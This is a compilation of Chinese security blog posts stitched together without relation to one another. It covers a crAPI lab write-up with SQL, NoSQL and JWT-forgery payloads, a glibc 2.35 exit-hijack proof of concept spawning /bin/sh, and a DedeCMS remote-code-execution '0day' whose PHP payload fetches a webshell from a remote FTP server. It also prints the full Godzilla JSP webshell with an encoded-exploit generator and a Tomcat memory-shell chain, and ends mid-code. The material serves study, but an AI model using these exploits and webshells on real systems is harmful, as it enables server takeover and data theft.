crAPI靶场学习记录
靶场搭建
https://github.com/C2yb8er/crAPIlabs(我fork了一份)
docker安装,笔者是用的wsl+docker.
[lab0:初始账户 ]
注册一个账户,邮箱为mailto:API@qq.com,密码为Admin@123
登陆后访问对应IP的8025端口,接收邮件获取车辆信息。
[lab1:访问其它用户车辆的详细信息 ]
登录后首先找到泄露其它用户的车辆id的接口。进入论坛主页点击某一个论坛文章发现此时的URL为:
于是试着抓一下包,看能返回什么,可以看到已经返回了该用户的隐私信息:
进一步我们猜测一下直接抓论坛首页试试:
在这里我们就得到了demo用户的vehicleid 信息
要查车辆信息,现在我们只有Dashboard页面存在车辆信息,我们尝试抓包这个页面,抓了下首页发现是应该根据我们当前用户的Cookie来返回的,我们再找找有没有其他地方:
我们将其替换为demo用户的vehicleid 信息54e7994a-e14e-4ee6-a46d-235ca3fd0eed
[lab2:访问其它用户的机械报告 ]
在提交的Json数据中发现危险数据:
[lab3: 重置其它用户的密码 ]
退出登录,点击忘记密码,输入<mailto:API@qq.com,点击Sent OTP,在后台查看验证码只有四位,于是准备爆破
填写表单,密码修改为Admin@456 ,提交抓包查看:
多交几次看看有没有限制爆破:
由于是API的靶场,我们试试换个API的版本试试:
开始着手爆破,选择狙击手模式即可,导入我们从0到9999的字典开始爆破:
可以看到原来的密码已经不能登录了:
[lab4: 找到泄露其它用户敏感信息的API接口 ]
同lab1中的论坛页面信息泄露
[lab5: 找到泄露视频内部属性的API接口 ]
感觉这个接口比较鸡肋
懒得按这个按钮才弹出的上传视频选项,于是我选择修改前端删掉hidden部分就可以:
lab6: 使用 "contact mechanic"功能完成第7[层DoS]
在提交的Json数据中发现危险数据:
我们尝试修改,再重新提交:
[lab7:删除另一个用户的视频 ]
这个API危害挺大
还是lab5处的抓包,我们修改一下协议,把PUT修改为OPTIONS
HTTP中的OPTIONS方法是一种用于获取目标资源所支持的HTTP方法列表的请求方法。它允许客户端向服务器查询对特定资源所支持的请求方法,以确定在不实际发送请求的情况下,可以对该资源执行哪些操作。
OPTIONS请求的主要用途包括:
CORS(跨域资源共享):在进行跨域请求时,浏览器会首先发送一个OPTIONS请求,以确定服务器是否允许发送实际的跨域请求。服务器可以通过返回特定的响应头(如Access-Control-Allow-Methods)来指示允许的请求方法。
服务器功能查询:客户端可以使用OPTIONS请求向服务器查询特定资源支持的HTTP方法列表。这对于动态确定可以执行的操作非常有用,可以根据服务器返回的允许的方法列表来自适应地构建请求。
API文档和发现:OPTIONS方法还可以用于提供API文档和服务发现功能。通过在OPTIONS响应中包含有关资源的元数据,例如支持的方法、请求头等信息,客户端可以获得有关API的更多信息,以便正确使用和调用API。
GET:用于从服务器获取资源。客户端发送一个GET请求来获取指定URI的资源。GET请求是幂等的,即多次发送相同的GET请求应该返回相同的响应。
POST:用于向服务器提交数据,创建新资源或触发服务器的处理操作。POST请求将数据作为请求体发送给服务器,通常用于提交表单数据、上传文件等。
PUT:用于向服务器更新或替换资源。PUT请求将请求体中的数据保存到服务器上指定的URI位置。如果URI不存在,则可以创建新资源;如果URI已存在,则将其替换为请求的内容。
DELETE:用于删除服务器上的资源。DELETE请求用于删除指定URI的资源。
OPTIONS:用于获取目标资源所支持的HTTP方法列表。OPTIONS请求允许客户端查询服务器对特定资源支持的请求方法,以确定可以对该资源执行哪些操作。
HEAD:与GET方法类似,但不返回响应体,仅返回响应头。HEAD请求用于获取关于资源的元数据,例如响应头中的信息,而无需传输整个响应体。
PATCH:用于对服务器上的资源进行局部更新。PATCH请求仅对资源进行部分修改,而不是替换整个资源。
除了上述方法外,HTTP/1.1 规范还定义了其他一些请求方法,如:
TRACE:用于在请求往返的路径上执行一个追踪。它通常用于诊断和调试,以确定请求如何通过代理服务器和中间节点传输。
CONNECT:用于建立与目标主机的隧道连接,通常用于通过代理服务器建立安全的HTTPS连接。
权限不足说明需要用admin的身份:
后续通过修改videos/ 后的ID可以实现任意视频的删除
[lab8: 免费获得一件物品 ]
点击后抓包:
修改请求方式为GET:
我们可以敏锐地观察到返回的Json数据中有一个status数据,明显表示着已经订购的信息。回到购买界面,我们看到还有Return按钮,我们点击后抓包看看:
直接切换成GET请求爆出了无权使用的消息,不慌张我们试试尝试着先把这个货品退回再用之前的方式利用
order_id进行查看,发现状态确实发生了改变。
这里我们大胆猜想退回的状态就是returned进行修改试试,注意由于status是原来就有的数据,所以这里我们需要用PUT协议进行提交而不是POST协议:
PUT和POST是HTTP请求方法,用于向服务器提交数据。它们在语义和使用场景上有以下区别:
目的:POST用于向服务器提交数据,请求服务器对数据进行处理。通常用于创建新资源、提交表单数据、发送评论等。PUT用于向服务器更新或替换指定URI的资源。如果URI不存在,则可以创建新资源;如果URI已存在,则将其替换为请求的内容。
幂等性:POST请求不是幂等的,即多次发送相同的POST请求可能会产生不同的结果。每次发送POST请求,服务器可能会创建新的资源、执行不同的操作或返回不同的响应。PUT请求是幂等的,即多次发送相同的PUT请求应该产生相同的结果。每次发送PUT请求,服务器应该将请求的内容保存在指定的URI位置,因此多次请求会更新或替换相同的资源。
数据位置:POST请求将数据包含在请求体中发送给服务器。数据的格式可以是表单数据、JSON、XML等。PUT请求也将数据包含在请求体中,但是它通常用于指定URI位置的资源,并将请求的内容保存在该位置。
资源标识:POST请求通常由服务器决定资源的标识,并返回新资源的标识符(如生成的ID)。
PUT请求通常由客户端指定资源的标识,即URI中的位置。
总结来说,POST用于提交数据进行处理,通常用于创建新资源或执行操作,而PUT用于更新或替换指定URI的资源。POST请求不是幂等的,而PUT请求是幂等的。根据具体的应用场景和资源操作需求,选择适当的请求方法来进行数据提交和资源更新。
从返回的数据可以看到已经修改成功了,也就是说我们空少套白狼了4个椅子
[lab9:将您的结余增加1000元或以上 ]
同样地利用上面的API,因为我们发现数据不仅可以提交status还可以提交quantity。
先将quantity改为100,status改为delivered,这样我们就可以不花钱就点了100个价值10元的椅子
然后修改状态为returned,就可以退钱!!!🤑
[lab10: 更新内部视频属性 ]
同lab5的抓包,我们可以看到返回的Json数据有如下几种:
所以我们需要更改的话就使用PUT协议,在请求的Json数据中指定就好。
http://www.baidu.com/同lab2接口与抓包,抓包后我们在请求信息中发现了关键信息:
为了验证这个猜想,我们使用DNSlog进行验证,使用工具:https://dig.pm/
DNSlog是一种用于收集和分析DNS查询的日志的技术和工具。在网络通信中,DNS(DomainNameSystem)用于将域名解析为对应的IP地址。DNSlog通过设置恶意DNS服务器或域名来截获应用程序或系统发出的DNS查询请求,并将查询信息记录到日志中。
DNSlog注入是一种利用应用程序对DNS查询结果的处理不当而导致的安全漏洞。它通常发生在应用程序通过DNS查询获取动态资源时,没有对返回的DNS响应进行充分的验证和过滤。攻击者可以通过构造恶意的DNS查询请求,将恶意内容注入到应用程序的响应中,从而实现攻击目的。
复制subdomain并加上http://后替换mechanic_api的值
lab12: 想办法在不知道优惠券代码的情况下获[得免费优惠券]
先找到输出优惠卷代码的接口,进行抓包查看数据:
查了一下文档,考点是NoSQL Injection,之前都学的是SQL注入基于MySQL的这里来个NoSQL给我整不会了,先学一下NoSQL的基本知识:
NoSQL注入(NoSQLInjection)是一种攻击技术,针对使用NoSQL数据库的应用程序而言,类似于传统SQL注入攻击。NoSQL注入利用了应用程序对用户输入数据的处理不当,以执行未授权的操作或绕过访问控制。
NoSQL数据库与传统关系型数据库不同,其查询语言和数据存储机制也不同。然而,一些NoSQL数据库仍然需要处理用户提供的数据,如查询参数、过滤条件等。如果应用程序没有正确验证和过滤这些用户输入数据,就可能存在NoSQL注入漏洞。
NoSQL注入攻击的原理是攻击者通过在应用程序发送给NoSQL数据库的查询中注入恶意的数据,以干扰查询的逻辑。攻击者可以利用以下方法进行注入攻击:
注入查询语句:攻击者通过在查询中注入恶意操作符、查询语句或特殊字符,来修改查询的逻辑,获取敏感数据或执行未授权的操作。
绕过访问控制:攻击者可以通过注入特定的查询条件来绕过应用程序的访问控制机制,获取未授权的数据或执行特权操作。
盲注入:在一些情况下,应用程序可能没有直接将查询结果返回给用户,而是根据查询的结果来进行后续操作。攻击者可以通过注入特定的查询条件,观察应用程序的行为差异,从而推断出查询的结果或执行特定操作。
NoSQL(Not OnlySQL)是一类非关系型数据库,与传统的关系型数据库(如MySQL、Oracle)相对应。NoSQL数据库设计的初衷是解决关系型数据库在大规模数据存储和高并发访问方面的局限性。
NoSQL数据库采用了不同的数据模型和存储机制,以满足特定的应用需求。与传统关系型数据库使用表格结构和SQL查询语言不同,NoSQL数据库通常采用以下数据模型之一:
键值存储(Key-ValueStores):使用简单的键值对结构存储数据,通过唯一的键来访问数据。例如,Redis、DynamoDB。
文档存储(DocumentStores):以类似JSON或XML的文档格式存储数据,每个文档都有唯一的标识符。例如,MongoDB、CouchDB。
列族存储(Column FamilyStores):将数据组织为列族的形式,每个列族包含不同的列和行。例如,HBase、Cassandra。
图形数据库(GraphDatabases):用于处理图形结构数据,其中节点和边表示实体和它们之间的关系。例如,Neo4j、JanusGraph。
NoSQL数据库具有以下特点和优势:
可扩展性:NoSQL数据库通常具有良好的横向扩展性,可以轻松处理大规模数据和高并发访问。
灵活的数据模型:NoSQL数据库提供了灵活的数据模型,适应不同类型和结构的数据,无需事先定义严格的表格结构。
高性能:由于去除了复杂的关系模型和复杂的查询语言,NoSQL数据库可以实现更高的读写性能。
弱一致性:一些NoSQL数据库采用了弱一致性模型,允许数据在不同节点之间存在一定的延迟和不一致性,以提高性能和可用性。
分布式架构:NoSQL数据库常用于分布式环境中,数据可以在多个节点上进行分布和复制,提供高可用性和容错性。
我们在这里使用了两个数据库软件分别是Postgresdb 和Mongodb,通过我们之前的响应信息的Json格式可以判断。但是这里的Postgresdb常简称为Postgres)是一个开源的关系型数据库管理系统(RDBMS),而不是NoSQL数据库。
经过查阅docker的日志,很神奇我并没有使用这个db,可能是我们的模块暂未使用它吧。
故我们只需要面对Mongodb进行NoSQL注入就行了原本的Json提交数据是:
这表示MongoDB将搜索集合中满足查询条件的文档,并返回结果集中包含"coupon_code"字段值为"1234"的文档。
在学习了最基本的NoSQL注入的语句和Mongodb数据的结构后我构造了payload:
1 {"coupon_code": {"$ne": "hacked by c2yb8er"}}
这个查询条件的意思是,查找"coupon_code"字段值不等于hacked by c2yb8er 的文档。
其中$ne 操作符表示不等于的意思
https://xz.aliyun.com/t/9908#toc-4lab13: 找到一种通过修改数据库来兑换已经领取的优惠券的方法
有点疑惑,实战的时候找不到这种文档怎么办?
查看文档发现一个接口/workshop/api/shop/apply_coupon
我很懵逼,为什么我明明用的Mongodb,不应该是NoSQL注入吗?这里为什么来了一个MySQL中的字符型注入?查阅一下相应代码,真相水落石出了!
class ApplyCouponView(APIView): """Apply Coupon View to increase the available credit""" @jwt_auth_required def post(self, request, user=None): """ api for checking if coupon is already claimed if claimed before: returns an error message else: increases the user credit :param request: htt
注入点是这段代码:
with connection.cursor() as cursor: cursor.execute("SELECT coupon_code from applied_coupon WHERE user_id = "\ + str(user.id)\ + " AND coupon_code = '"\ + coupon_request_body['coupon_code']\ + "'")
当我传入如下数据后:
{"coupon_code":"1'or '1'='1","amount":1}
这里执行的SQL语句就会变成这样:
SELECT coupon_code from applied_coupon WHERE user_id = 'My_id' AND coupon_code = '1'or '1'='1'
破案了!我还以为我刚刚学的NoSQL注入白学了!🥺
[lab14: 查找不为用户执行身份验证检查的接口 ]
同lab3中的/workshop/api/mechanic/mechanic_report?report_id=6
同lab8中的/workshop/api/shop/orders/1
[lab15:找到伪造有效 JWT 令牌的方法 ]
[JWT Algorithm Confusion Vulnerability]
https://auth0.com/docs/secure/tokens/json-web-tokens/json-web-key-sets:Auth0exposes a JWKS endpoint for each tenant, which is found at
https://{yourDomain}/.well-known/jwks.json . This endpoint willcontain the JWK used to verify all Auth0-issued JWTs for this tenant.
通过访问http://localhost:8888/.well-known/jwks.json 获取JWT的公钥
到 JWT选项卡,点击New RSA Key 复制 JWK key 内容
之后再右键我们新建的Key Copy Public Key as Pem
去Decoder选项卡对这个 PEM 密钥进行 Base64 编码,然后复制生成的字符串
再次回到Burp 主选项卡栏中 的 JWT Editor Keys选项卡,点击New SymmetricKey后Generate,将 k 属性的生成值替换为PEM Base64编码
然后在burp的请求中可以发现 json webtoken选项卡,在选择卡左下角处也可以看到对 json web token 的攻击选项。
[Invalid Signature Vulnerability]
我们在访问Dashboard 的时候进行抓包,进入Repeater 中的JSON Web Token页面中:
首先我们修改Payload中的sub为其他的账户试试:成功越权访问到其他用户的信息:
实际上就是通过修改下图红框内的内容进行的验证:
现在我们将Header中的算法改为不启用,点击Attack中的"none" SigningAlgorithm ,发送包后发现我们的验证字段值发生了较大的变化:
但是这个只是一个特殊的接口漏洞,在这个接口中可以用这种方式破解JWT进行越权访问,其他接口就不行了:
[AddLab1: 增加一个商品 ]
对首页的Shop 进行抓包:
查看相应信息发现同时也支持POST协议,把GET改为POST试试:
提示缺少三个参数,我们补充好试试:
添加成功!
[AddLab2:支付漏洞 ]
同lab8抓包,修改quantity为负数:
[总结]
通过本次靶场学习我对API安全有了更深的认识,之前觉得比较抽象。同时也对HTTP中的GET\POST\PUT\DELETE\OPTIONS等协议有了更深刻的理解。
同时在分析lab有些题目的时候,我学习了NoSQL注入的方式,对Mongodb这些非关系型数据库有了基本的认识。同时,精进了我对BurpSuite的操作。
美中不足的就是我对 JWT相关知识不太熟悉,打完靶场后也没太懂这个东西有什么用处。这是我后面需要进行补充学习的。
总的来说,本靶场认真打下来的话,我相信你会对API安全有不一样的认识和理解!
glibc2.35-通过tls_dtor_list劫持exit执行流程
前言
glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。
传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。
__call_tls_dtors
在程序返回时会通过exit函数,exit函数会经历以下调用过程
exit
->
__run_exit_handlers
->
__call_tls_dtors
而__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下:
判断tls_dtor_list为空
不为空则将tls_dtor_list赋值给cur
取出函数指针cur->func
通过PTR_DEMANGLE宏解密指针值
执行函数指针
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下
首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88
而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空
那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程
首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list中
根据上述的方法,我们成功进入后续的流程
但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。
这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,
先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。
0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 0x11
0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。
那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。
POC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned long long rotate_left(unsigned long long value, int left)
{
return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}
int main() {
unsigned long long fs_base;
unsigned long long index = 0xffffffffffffffa8;
unsigned long long tls_dtor_list_addr;
unsigned long long random_number;
void *system_ptr = (void *)&system;
printf("system:%p\n",system_ptr);
// 使用汇编嵌入获取FS寄存器的值
asm("mov %%fs:0, %0" : "=r" (fs_base));
printf("Value in FS register: 0x%llx\n", fs_base);
tls_dtor_list_addr = fs_base - 88;
random_number = *(unsigned long long *)(fs_base + 0x30);
char *str_bin_sh = malloc(0x20);
strcpy(str_bin_sh,"/bin/sh");
void *ptr = malloc(0x20);
*(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);
*(unsigned long long *)(ptr + 8) = str_bin_sh;
*(unsigned long long *)tls_dtor_list_addr = ptr;
return 0;
}
总结
简单总结一下通过tls_dtor_list劫持exit执行流程的条件
存在任意地址写的漏洞利用
能够篡改或泄露fs_base + 0x30的值
程序会通过exit函数结束程序,若是通过_exit则不行
Dedecms最新版--0day分享分析(二)
前言
接之前写的一篇https://www.yijinglab.com/specialized/20230814150207,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。
环境
下载最新版本:
https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip影响版本:
<=DedeCMS-V5.7.110
漏洞URL:
/uploads/dede/article_string_mix.php
/uploads/dede/sys_data.php
/uploads/dede/sys_task.php
/uploads/dede/media_add.php
/uploads/dede/article_template_rand.php
漏洞详情
远程服务器开启ftp服务
控制面板 >> 程序 >> 启用或关闭windows功能
完成更改
计算机管理
添加FTP站点
配置地址以及账号密码
上面存放一句话木马
文件内容为
payload如下:
<?
$ftp_server = "192.168.0.102";
$ftp_username = "administrator";
$ftp_password = "147258369";
$file = "shell.php";
$local_file = "shell2.php";
// set up basic connection
$conn_id = ftp_connect($ftp_server);
// login with username and password
$login_result = ftp_login($conn_id, $ftp_username, $ftp_password);
// try to download $file and save to $local_file
if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) {
echo "Successfully downloaded $file\n";
} else {
echo "There was a problem while downloading $file\n";
}
// close the connection
ftp_close($conn_id);
?>
代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。
文件保存后,访问路径
/uploads/data/template.rand.php
提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件
http://dedecms.xyz:8066/uploads/data/shell1.php 成功命令执行
漏洞分析
DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php
上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。
继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php
代码中定义了disable_funs,但是禁用的函数涉及
phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders
在上面的payload中,利用手法利用点儿在于
ftp_get函数是可以绕过disable_funs的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。
小结
其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置,代码中disable_funs的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。
借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘
前言
本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。
分析
首先对该木马进行格式化,以增强代码的可读性。得到如下代码
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader
{
public X(ClassLoader z)
{
super(z);
}
public Class Q(byte[] cb)
{
return super.defineClass(cb, 0, cb.length);
}
}
/*
* 作用:AES解密
* m:true加密,False解密
* */
public byte[] x(byte[] s, boolean m)
{
try
{
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
}
catch(Exception e)
{
return null;
}
}
/*
* 作用:md5加密
* */
public static String md5(String s)
{
String ret = null;
try
{
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new
java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
}
catch(Exception e)
{}
return ret;
}
/*
* 作用:base64加密
* */
public static String base64Encode(byte[] bs) throws Exception
{
Class base64;
String value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
/*
* base64解密
* */
public static byte[]base64Decode(String bs) throws Exception
{
Class base64;
byte[] value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
{
String.class
}).invoke(decoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
{
String.class
}).invoke(decoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
try
{
byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
data = x(data, false);//AES解密
if(session.getAttribute("payload") == null)
{
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
}
else
{
request.setAttribute("parameters", new String(data));
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
}
catch(Exception e){
response.getWriter().write(e.getMessage());
}
</jsp:scriptlet>
</jsp:root>
前期可以交付ChatGPT初步分析,理清各个函数的基本作用:
得知各个函数的基本功能之后我们主要看<jsp:scriptlet>中的内容:
try
{
byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
data = x(data, false);//AES解密
if(session.getAttribute("payload") == null)
{
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
}
else
{
request.setAttribute("parameters", new String(data));
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
}
catch(Exception e){
response.getWriter().write(e.getMessage());
}
可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在<jsp:declaration>已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload")是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下:
EXP构建
按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。
exp.java
package exp;
import java.io.IOException;
public class exp {
static {
try {
Runtime.getRuntime().exec("touch /tmp/gg.txt");
} catch (IOException e) {
e.printStackTrace();
}
}
}
编译为class
javac exp.java
POC,我们可以利用木马中的x()、base64Encode当做EXP构成部分即可
package Fvck;
import java.io.*;
class Fvck{
public static byte[] readFileToByteArray(String filePath) {
File file = new File(filePath);
byte[] fileBytes = new byte[(int) file.length()];
try (FileInputStream fis = new FileInputStream(file)) {
fis.read(fileBytes);
} catch (IOException e) {
e.printStackTrace();
return null;
}
return fileBytes;
}
public static byte[] AesEncode(byte[] s, boolean m)
{
String xc = "3c6e0b8a9c15224a";
try
{
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
}
catch(Exception e)
{
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception
{
Class base64;
String value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
public static void main(String[] args) throws Exception {
String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));
System.out.println(result);
}
}
内存马注入
寻找Request
Java Object Searcher
基本使用方法
IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址
将java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如:
/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。
在Tomcat上随便找个地方断点,后打开Evaluate
代码中设置日志输出文件夹,点击Evaluate
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/Users/gqleung/Desktop");
searcher.searchObject();
在运行结束后会输出日志到保存的文件夹:
在其中找一条链子
TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [17] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler
创建一个线程根据上面链子寻找
代码编写
与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。
获取group
Thread thread = Thread.currentThread();//获取线程对象Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值
获取threads
获取threads方法与获取group基本一致
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
获取target
在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替.
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
